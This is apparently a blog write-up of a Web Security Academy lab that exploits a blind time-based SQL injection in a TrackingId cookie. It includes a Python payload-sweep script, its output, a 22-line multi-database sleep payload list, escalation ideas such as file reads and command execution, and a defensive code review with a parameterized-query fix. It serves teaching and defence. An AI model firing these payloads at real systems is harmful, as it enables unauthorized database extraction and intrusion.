Web Security Academy: Blind SQL Injection with Time Delays

· falasi.net


Table of Contents

Summary #

Every page on this e-commerce app sent a TrackingId cookie for analytics, and the docs hinted it ended up in a backend SQL query. Classic injection target, except nothing in the response ever changed. No errors, no status code differences, no content shifts. Garbage in, identical page out.

That's the interesting part. When a query runs synchronously on the server, even an app that hides every other signal still leaks one: time. If you can make the SQL sleep, the response shows up late. The delay is your oracle.

This writeup walks through finding the injection point, fingerprinting the database with a payload sweep, and confirming the bug with a PostgreSQL-specific time delay.


Step 1: Baseline #

Captured a normal request to the product page in Caido:

1GET /product?productId=1 HTTP/1.1
2Host: 0acb0085045a161e804fb2c00047008d.web-security-academy.net
3Cookie: TrackingId=D6MXha9nlOkj9t8D; session=185BVF1HFeXDp8Rxuygmct0JQfa6bUPk
1HTTP/1.1 200 OK
2Content-Type: text/html; charset=utf-8
3Content-Length: 4304

Response time hovered around 480ms across a handful of requests. Body was a standard product page. No errors, no debug output, no sign the cookie influenced anything in the HTML exactly what the lab description promised.

For a blind injection, baseline timing matters as much as content. ~0.5s gives plenty of room to spot a 10-second sleep against network jitter.


Step 2: Sweep with Sleep Payloads #

The backend engine is unknown, so I prepped payloads covering the four big dialects MySQL (SLEEP, BENCHMARK), PostgreSQL (pg_sleep), MSSQL (WAITFOR DELAY), Oracle (DBMS_PIPE.RECEIVE_MESSAGE) plus a few SQLite variants:

1' OR SLEEP(10)-- -
2' AND SLEEP(10)-- -
3'; SELECT pg_sleep(10)-- -
4'||(SELECT pg_sleep(10))||'
5'; SELECT CASE WHEN (1=1) THEN pg_sleep(10) ELSE pg_sleep(0) END-- -
6'; WAITFOR DELAY '0:0:10'-- -
7' AND DBMS_PIPE.RECEIVE_MESSAGE(('a'),10)='a
8... (full list in the appendix)

Each payload assumes a different syntactic context: single-quote string break, statement stacking with ;, concatenation with ||, and so on. A failure tells you the engine is wrong or the context is wrong both variables move at once. The payload that fires identifies both.

Drove the sweep from a small Python script. Caido Automate or Burp Intruder would work, but a script gives clean per-request timing and reproducible output to paste into the report:

 1import requests
 2import argparse
 3from urllib.parse import quote
 4
 5SLEEP_THRESHOLD = 9.5  # seconds delta over baseline to flag a hit
 6
 7def baseline(session, target):
 8    r = session.get(target)
 9    return r.elapsed.total_seconds()
10
11def try_payload(session, target, payload):
12    cookie_value = quote(payload, safe="")
13    headers = {"Cookie": f"TrackingId={cookie_value}"}
14    r = session.get(target, headers=headers)
15    return r.elapsed.total_seconds(), r.status_code
16
17def exploit(target, payload_file):
18    with open(payload_file) as f:
19        payloads = [
20            line.strip() for line in f
21            if line.strip() and not line.strip().startswith("#")
22        ]
23
24    s = requests.Session()
25    base = baseline(s, target)
26    print(f"[i] Baseline response time: {base:.2f}s")
27    print(f"[i] Loaded {len(payloads)} payloads from {payload_file}\n")
28
29    hits = []
30    for i, payload in enumerate(payloads, 1):
31        elapsed, status = try_payload(s, target, payload)
32        delta = elapsed - base
33        marker = "[+]" if delta >= SLEEP_THRESHOLD else "[-]"
34        print(f"{marker} ({i}/{len(payloads)}) {elapsed:.2f}s "
35              f"(Δ {delta:+.2f}s) [{status}] {payload[:60]}")
36        if delta >= SLEEP_THRESHOLD:
37            hits.append(payload)
38
39    print()
40    if hits:
41        print(f"[+] {len(hits)} payload(s) triggered a delay:")
42        for p in hits:
43            print(f"    {p}")
44    else:
45        print("[-] No payloads triggered a delay.")
46
47if __name__ == "__main__":
48    parser = argparse.ArgumentParser(prog="exploit")
49    parser.add_argument("target", help="Target URL")
50    parser.add_argument("-p", "--payloads", default="payloads.txt")
51    args = parser.parse_args()
52    exploit(args.target, args.payloads)

Threshold is 9.5s, not 10. A real pg_sleep(10) lands somewhere in the 10.0–10.5s range, and the half-second cushion absorbs scheduling variance without producing false positives. Each payload gets URL-encoded before going in the cookie raw ;, spaces, and ' would be eaten as cookie delimiters or stripped by the client. Baseline runs from the same session as the payloads, so connection overhead is captured consistently.


Step 3: Run It #

 1$ uv run exploit.py -p sleep.list https://0acb0085045a161e804fb2c00047008d.web-security-academy.net/
 2[i] Baseline response time: 0.48s
 3[i] Loaded 22 payloads from sleep.list
 4
 5[-] (1/22)  0.64s  (Δ +0.16s) [200] ' OR SLEEP(10)-- -
 6[-] (2/22)  0.71s  (Δ +0.23s) [200] ' AND SLEEP(10)-- -
 7[-] (3/22)  0.49s  (Δ +0.00s) [200] " OR SLEEP(10)-- -
 8[-] (4/22)  0.51s  (Δ +0.03s) [200] 1' AND IF(1=1,SLEEP(10),0)-- -
 9[-] (5/22)  0.61s  (Δ +0.13s) [200] ' OR (SELECT * FROM (SELECT(SLEEP(10)))a)-- -
10[-] (6/22)  0.71s  (Δ +0.23s) [200] ' UNION SELECT SLEEP(10)-- -
11[-] (7/22)  0.54s  (Δ +0.05s) [200] ' AND BENCHMARK(10000000,MD5('A'))-- -
12[+] (8/22) 10.73s  (Δ +10.24s) [200] '; SELECT pg_sleep(10)-- -
13[-] (9/22)  0.52s  (Δ +0.04s) [200] ' OR (SELECT 1 FROM pg_sleep(10))-- -
14[+] (10/22) 10.94s (Δ +10.46s) [200] '||(SELECT pg_sleep(10))||'
15[+] (11/22) 10.75s (Δ +10.27s) [200] '; SELECT CASE WHEN (1=1) THEN pg_sleep(10) ELSE pg_sleep(0) END-- -
16[-] (12/22) 0.71s  (Δ +0.23s) [200] '; WAITFOR DELAY '0:0:10'-- -
17[-] (13/22) 0.61s  (Δ +0.13s) [200] '; IF (1=1) WAITFOR DELAY '0:0:10'-- -
18... (truncated)
19
20[+] 3 payload(s) triggered a delay:
21    '; SELECT pg_sleep(10)-- -
22    '||(SELECT pg_sleep(10))||'
23    '; SELECT CASE WHEN (1=1) THEN pg_sleep(10) ELSE pg_sleep(0) END-- -

Three payloads fired. All PostgreSQL. Every MySQL, MSSQL, and Oracle payload returned at baseline.

Clean fingerprint: backend is Postgres, injection point is a string literal, and both ; stacking and || concatenation work. The fact that the MySQL payloads went nowhere also rules out a generic intermediate timeout swallowing the delay the Postgres payloads in the same sweep clearly executed end-to-end.

Worth noting why three payloads worked instead of one. The cookie is being dropped into something like SELECT ... WHERE TrackingId = '<cookie>'. Anything that closes the literal cleanly and either stacks a statement or concatenates a sleeping subquery will work. Payload 9 ' OR (SELECT 1 FROM pg_sleep(10))-- - is valid Postgres and should have worked, but didn't. Probably an OR short-circuit, or the surrounding query wraps the cookie in a way that kills the boolean. Without source we can't say for sure. Three working payloads is enough.


Step 4: Confirm #

Sent the winning payload through Caido Replay to confirm outside the script:

1GET /product?productId=1 HTTP/1.1
2Host: 0acb0085045a161e804fb2c00047008d.web-security-academy.net
3Cookie: TrackingId=D6MXha9nlOkj9t8'%3B%20SELECT%20pg_sleep(10)--%20-; session=185BVF1HFeXDp8Rxuygmct0JQfa6bUPk

Decoded, that's D6MXha9nlOkj9t8'; SELECT pg_sleep(10)-- -. Stitched into the backend query:

1SELECT ... FROM tracking WHERE id = 'D6MXha9nlOkj9t8'; SELECT pg_sleep(10)-- -'

Injected ' closes the literal, ; stacks a new statement, pg_sleep(10) does the work, and -- - comments out the trailing quote that would otherwise break parsing.

Response: 10,517ms against a 480ms baseline. Body byte-for-byte identical to the original confirming the lab's promise that there's no content-based oracle. Only timing tells you anything happened.


Why It Worked #

The app builds its tracking query with string concatenation instead of parameters. The cookie value lands directly in the SQL text, which means anything respecting the surrounding quotes can rewrite the query.

The "blind" framing is about the attacker's view, not the underlying bug. From a defender staring at request logs, the injected request looks identical to a normal one same path, same status, same body length. That's the trap. Synchronous execution means the database still finishes whatever you ask it to before the HTTP layer can respond, and pg_sleep makes that latency observable.

The vulnerability isn't subtle. It's a textbook SQLi that happens to live in a code path whose results are never rendered. Same bug, just quieter.


Code Review Perspective #

The patterns to look for, worst to correct.

Vulnerable Direct Concatenation #

 1import psycopg2
 2from flask import Flask, request
 3
 4app = Flask(__name__)
 5
 6@app.route("/product")
 7def product():
 8    tracking_id = request.cookies.get("TrackingId")
 9    conn = psycopg2.connect(...)
10    cur = conn.cursor()
11
12    cur.execute(f"SELECT * FROM tracking WHERE id = '{tracking_id}'")
13
14    return render_product_page(...)

The f-string is the whole bug. Cookie value goes straight into the query text no escaping, no parameterization. Whether or not the result is ever rendered doesn't matter; the query already ran.

Subtly Broken Manual Escaping #

1@app.route("/product")
2def product():
3    tracking_id = request.cookies.get("TrackingId")
4    safe_id = tracking_id.replace("'", "''")
5
6    cur.execute(f"SELECT * FROM tracking WHERE id = '{safe_id}'")

Doubling quotes looks like a fix and isn't. It misses backslash variants, multi-byte tricks, and contexts where the value gets re-parsed downstream. The right move isn't tighter escaping it's getting out of the string interpolation business.

Wishful Thinking Keyword Denylist #

 1BLOCKED = ["pg_sleep", "WAITFOR", "SLEEP(", "BENCHMARK", "--"]
 2
 3@app.route("/product")
 4def product():
 5    tracking_id = request.cookies.get("TrackingId")
 6
 7    if any(token.lower() in tracking_id.lower() for token in BLOCKED):
 8        abort(400)
 9
10    cur.execute(f"SELECT * FROM tracking WHERE id = '{tracking_id}'")

Bypassed by case variation, comment splitting (pg_/**/sleep), alternate functions (generate_series, dblink_connect), or just switching to a boolean-based or out-of-band technique that doesn't need any of those keywords. Filtering tokens treats the symptom.

Correct Parameterized #

1@app.route("/product")
2def product():
3    tracking_id = request.cookies.get("TrackingId")
4
5    cur.execute(
6        "SELECT * FROM tracking WHERE id = %s",
7        (tracking_id,)
8    )

The driver sends SQL and parameter values to the database as separate things. The parameter never gets interpolated into the query string client-side; the database treats it as data, full stop. No string concatenation means nothing for a payload to break out of. This is the fix.


Impact #

A blind time-based SQLi is fully exploitable even with no visible response data. Wrap pg_sleep in CASE WHEN (<condition>) THEN pg_sleep(10) ELSE pg_sleep(0) END and you can ask the database any yes/no question, reading the answer off the response time. Full extraction is mechanical from there bits or characters one at a time, scripted, binary search to keep the request count down.

In a Postgres environment, realistic targets include the contents of users or accounts (creds, hashes, session tokens), schema enumeration via information_schema, current role and privileges via current_user and pg_roles, and depending on config file reads through pg_read_file() or command execution through COPY ... FROM PROGRAM if the role permits.

In the lab the goal is the admin password and a login. In a real engagement the same primitive routinely turns into credential theft, lateral movement onto the database host, and pivots into the internal network through dblink or extension-based vectors.


Remediation #

Root cause: user input is being concatenated into SQL text. Fix: stop concatenating, start parameterizing. Use the driver's parameter binding (%s in psycopg2, ? in most others) for every query touching untrusted input. No exceptions. This isn't a performance question or a defense-in-depth nice-to-have it's how you're supposed to use the database client.

Two follow-ups worth doing on top of the fix. The application's database role shouldn't have access to pg_sleep, pg_read_file, file_fdw, or COPY ... FROM PROGRAM unless something genuinely needs them every one of those expands the blast radius of any future bug. And set a sane statement timeout on the connection (SET statement_timeout = '5s') so even an unexploited time-based payload can't sit on a backend connection indefinitely.

What doesn't work: keyword filters for pg_sleep, WAITFOR, or --; WAFs built on denylists; client-side cookie validation; suppressing database errors. All routinely bypassed, none of them touch why the query is malleable in the first place.


Takeaway #

Blind injections look intimidating because the usual feedback is gone, but they reduce to the same problem as any other SQLi: input is being treated as syntax instead of as data. When the response stops talking, time starts. A synchronous database call always leaks it.

For testing: keep probing even when responses look identical. For development: parameterized queries are the only durable fix, and a SQLi in a code path whose results are never rendered is just as dangerous as one whose results show up on every page.


Appendix: Full Payload List #

sleep.list (22 payloads)

' OR SLEEP(10)-- -
' AND SLEEP(10)-- -
" OR SLEEP(10)-- -
1' AND IF(1=1,SLEEP(10),0)-- -
' OR (SELECT * FROM (SELECT(SLEEP(10)))a)-- -
' UNION SELECT SLEEP(10)-- -
' AND BENCHMARK(10000000,MD5('A'))-- -
'; SELECT pg_sleep(10)-- -
' OR (SELECT 1 FROM pg_sleep(10))-- -
'||(SELECT pg_sleep(10))||'
'; SELECT CASE WHEN (1=1) THEN pg_sleep(10) ELSE pg_sleep(0) END-- -
'; WAITFOR DELAY '0:0:10'-- -
'; IF (1=1) WAITFOR DELAY '0:0:10'-- -
' WAITFOR DELAY '00:00:10'-- -
1); WAITFOR DELAY '0:0:10'-- -
' AND DBMS_PIPE.RECEIVE_MESSAGE(('a'),10)='a
' OR 1=DBMS_PIPE.RECEIVE_MESSAGE('a',10)-- -
'||DBMS_PIPE.RECEIVE_MESSAGE('a',10)||'
' AND 1=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(500000000))))-- -
' AND randomblob(100000000)-- -
' AND 1=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(500000000))))-- -
' AND randomblob(100000000)-- -
last updated: